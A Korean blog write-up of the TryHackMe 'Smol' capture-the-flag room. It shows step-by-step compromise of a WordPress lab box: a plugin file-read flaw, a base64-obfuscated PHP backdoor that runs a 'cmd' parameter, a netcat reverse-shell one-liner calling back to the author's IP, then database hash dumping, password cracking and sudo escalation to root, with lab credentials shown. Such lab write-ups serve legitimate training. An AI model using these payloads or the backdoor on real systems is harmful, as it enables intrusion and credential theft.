G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

Smol - TryHackMe

WriteUP
https://tryhackme.com/room/smol

WriteUp

┌──(g2h㉿g2h)-[~/thm]
└─$ nmap -p- -Pn -T4 -sV 10.10.182.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-02 13:27 KST
Nmap scan report for 10.10.182.139
Host is up (0.40s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 225.79 seconds

Nmap 포트 스캐닝 결과, 

SSH 서비스와 웹 서비스가 동작중인 것을 확인

┌──(g2h㉿g2h)-[~/thm]
└─$
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────+ Target Hostname:    10.10.182.139
+ Target Port:        80
+ Start Time:         2025-10-02 13:40:58 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://www.smol.thm

우선 www.smol.thm  도메인이 존재하므로, /etc/hosts 파일을 통해 ip와 매핑시켜준다.

페이지의 소스코드를 보게되면, WordPress CMS를 사용하고 있는 것을 알 수 있다.

이를 통해 WP 관련 취약점을 찾아볼 수 있다.

[+] jsmol2wp                                                                                                             | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/                                                            | Latest Version: 1.07 (up to date)                                                                                     | Last Updated: 2018-03-09T10:28:00.000Z                                                                                |                                                                                                                       | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

wpscan중 jsoml2wp 를 사용하고 있으며, 버전이 1.07 버전인 걸 확인할 수 있다.

또한 해당 버전에는 SSRF 취약점이 내포되어 있다.

wp-config.php 파일을 읽어 wpuser유저에 대한 디비 계정정보를 확인 할 수 있으며,

해당 계정을 통해 wp-admin 페이지에 접근이 가능했다.

해당 계정으로 접근하면 2개의 페이지가 존재하며,

Webmaster Tasks!! 페이지에서 유의미한 정보를 획득할 수 있다.

현재 Hello Dolly 플러그인 버전에 백도어 취약점이 존재한다고 나와있다.

실제 Hello Dolly 특정 버전의 소스코드에는 백도어 역할을 하늩 코드가 존재한다.

http://www.smol.thm//wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
	eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
	
	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}

	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
		$lang,
		$chosen
	);
}

hello.php 소스코드의 일부분이다.

특정 Base64 값을 dval 함수를 통해 사용하고 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ echo "CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=" | base64 -d

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

 

  • \143 : 8진수(Octal) 표기 → 아스키 코드 99 → 문자 'c'
  • \155 : 8진수(Octal) 표기 → 아스키 코드 109 → 문자 'm'
  • \x64 : 16진수(Hex) 표기 → 아스키 코드 100 → 문자 'd'

 

위와 같이 cmd 파라미터로 들어오는 명령어에 대해 eval 함수를 사용해서 실행시키도록 작성되어 있다.

이를 통해 RCE가 가능하다.

명령이 정상적으로 인식되는 걸 확인할 수 있다.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.4.85.76 5252 >/tmp/f
┌──(g2h㉿g2h)-[~/thm]
└─$ nc -lvnp 5252
listening on [any] 5252 ...
connect to [10.4.85.76] from (UNKNOWN) [10.10.182.139] 42590
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")';
www-data@ip-10-10-182-139:/var/www/wordpress/wp-admin$

성공적으로 Reverse Connection을 맺을 수 있다.

이제 이전 wp-config.php 파일에서 획득한 wpuser을 통해 DB에 접근할 수 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ nc -lvnp 5252
listening on [any] 5252 ...
connect to [10.4.85.76] from (UNKNOWN) [10.10.182.139] 42590
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")';
www-data@ip-10-10-182-139:/var/www/wordpress/wp-admin$ mysql -u wpuser -p
mysql -u wpuser -p
Enter password: kbLSF2Vop#lw3rjDZ629*Z%G

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 247
Server version: 8.0.42-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
Database changed
mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url            | user_registered     | user_activation_key | user_status | display_name           |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
|  1 | admin      | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. | admin         | admin@smol.thm     | http://www.smol.thm | 2023-08-16 06:58:30 |                     |           0 | admin                  |
|  2 | wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. | wp            | wp@smol.thm        | http://smol.thm     | 2023-08-16 11:04:07 |                     |           0 | wordpress user         |
|  3 | think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ | think         | josemlwdf@smol.thm | http://smol.thm     | 2023-08-16 15:01:02 |                     |           0 | Jose Mario Llado Marti |
|  4 | gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 | gege          | gege@smol.thm      | http://smol.thm     | 2023-08-17 20:18:50 |                     |           0 | gege                   |
|  5 | diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 | diego         | diego@local        | http://smol.thm     | 2023-08-17 20:19:15 |                     |           0 | diego                  |
|  6 | xavi       | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 | xavi          | xavi@smol.thm      | http://smol.thm     | 2023-08-17 20:20:01 |                     |           0 | xavi                   |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
6 rows in set (0.00 sec)
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash

이후 wp_users 테이블에 존재하는 사용자들과 passwd 파일에 동일한 사용자가 존재하는 걸 확인했다.

이후 Hashcat을 통해 패스워드 크래킹을 시도할 수 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ hashcat -a0 -m400 --username ./user.txt ./rockyou.txt --show
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1:sandiegocalifornia

diego 사용자에 대한 패스워드 크래킹에 성공할 수 있었다.

www-data@ip-10-10-182-139:/var/www/wordpress/wp-admin$ su diego
su diego
Password: sandiegocalifornia

diego@ip-10-10-182-139:/var/www/wordpress/wp-admin$

diego 사용자로 전환을 할 수 있다.

total 20
drwxr-x--- 2 xavi internal 4096 Aug 18  2023 .
drwxr-xr-x 8 root root     4096 Oct  2 04:26 ..
lrwxrwxrwx 1 root root        9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 xavi xavi      220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 xavi xavi     3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 xavi xavi      807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root        9 Aug 18  2023 .viminfo -> /dev/null
diego@ip-10-10-182-139:/home/xavi$ cd ../think
cd ../think
diego@ip-10-10-182-139:/home/think$ ls -al
ls -al
total 32
drwxr-x--- 5 think internal 4096 Jan 12  2024 .
drwxr-xr-x 8 root  root     4096 Oct  2 04:26 ..
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
drwx------ 2 think think    4096 Jan 12  2024 .cache
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null

각각의 존재하는 사용자들의 홈디렉터리를 살펴보던 중

think 사용자 홈 디렉터리에서 .ssh 경로 발견 할 수 있었다.

diego@ip-10-10-69-138:/home/think/.ssh$ ssh -i id_rsa think@127.0.0.1       
```
think@ip-10-10-69-138:~$

이후 think 로 ssh 접속이 가능했다.

auth       sufficient pam_rootok.so
auth  [success=ignore default=1] pam_succeed_if.so user = gege
auth  sufficient                 pam_succeed_if.so use_uid user = think

pam.d/su 파일을 보게되면 위와같은 정보를 찾게됐다, 

pam.d/su 파일은 su 명령 실행 시 어떤 인증/제한 정책을 적용할지 정의하는 파일로

현재 think 사용자일  경우 su 명령을 통해 인증 없이 gege 유저로 변경이 가능하다.

think@ip-10-10-69-138:~$ su gege
su gege
gege@ip-10-10-69-138:/home/think$ id
id
uid=1003(gege) gid=1003(gege) groups=1003(gege),1004(dev),1005(internal)
gege@ip-10-10-69-138:/home/think$
wordpress.old.zip
gege@ip-10-10-69-138:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

이후 워드프레스zip 파일이 존재하지만 패스워드가 걸려있다.

이를 크래킹하기 위해 공격자 pc로 가져와서 john을 실행해볼 수 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ wget http://10.10.69.138:8000/wordpress.old.zip
--2025-10-02 17:25:31--  http://10.10.69.138:8000/wordpress.old.zip
Connecting to 10.10.69.138:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 32266546 (31M) [application/zip]
Saving to: ‘wordpress.old.zip’

wordpress.old.zip             100%[=================================================>]  30.77M  4.05MB/s    in 10s

2025-10-02 17:25:42 (3.02 MB/s) - ‘wordpress.old.zip’ saved [32266546/32266546]

 

zip2john wordpress.old.zip > hashzip
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────└─$ ls
g2hsec.ovpn                  hashes.txt  pspy64       user.txt           ziphash
g2hsec.ovpn:Zone.Identifier  linpeas.sh  rockyou.txt  wordpress.old.zip

┌──(g2h㉿g2h)-[~/thm]
└─$ cat ziphash
wordpress.old.zip:$pkzip$8*1*1*0*0*24*a31c*c2fb90b3964ce4863c047a66cc23c2468ea4fffe2124c38cb9c91659b31793de138ae891*1*0*0*24*a31c*7722f8032fb202c65e40d0d76a91cdfa948dc7e6857f209a06627320940fa5bcbb2603e6*1*0*0*24*a31c*592448eb70b5198cef005c60d3aeb3d78465376eaa5f465e1c2dd7c890d613102e284c88*1*0*0*24*a320*f87c1c69a82331ca288320268e6c556a6ddc31a03e519747bd7b811b6b837527c82abe0e*1*0*0*24*a320*dc42fd5700a7ab7a33
┌──(g2h㉿g2h)-[~/thm]
└─$ john ziphash --wordlist=./rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hero_gege@hotmail.com (wordpress.old.zip)
1g 0:00:00:00 DONE (2025-10-02 17:28) 2.702g/s 20723Kp/s 20723Kc/s 20723KC/s higurashi^..haveroksexzene
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

hero_gege@hotmaol.com 을 추출할 수 있다.

이후 압축을 해제한 후 wp-config.php 파일을 확인하면

xavi 계정에 대한 계정정보를 호기득할 수 있다.

xavi@ip-10-10-69-138:/var/www/wordpress/wp-admin$ sudo -l
sudo -l
[sudo] password for xavi: P@ssw0rdxavi@

Matching Defaults entries for xavi on ip-10-10-69-138:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on ip-10-10-69-138:
    (ALL : ALL) ALL
xavi@ip-10-10-69-138:/var/www/wordpress/wp-admin$ sudo su -
sudo su -
root@ip-10-10-69-138:~$ id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-69-138:~$

xavi 계정 접속 후 su 권한 확인시 모든 권한을 가지고 있는 것을 확인하여

root 계정으로 권한 상승이 가능하다.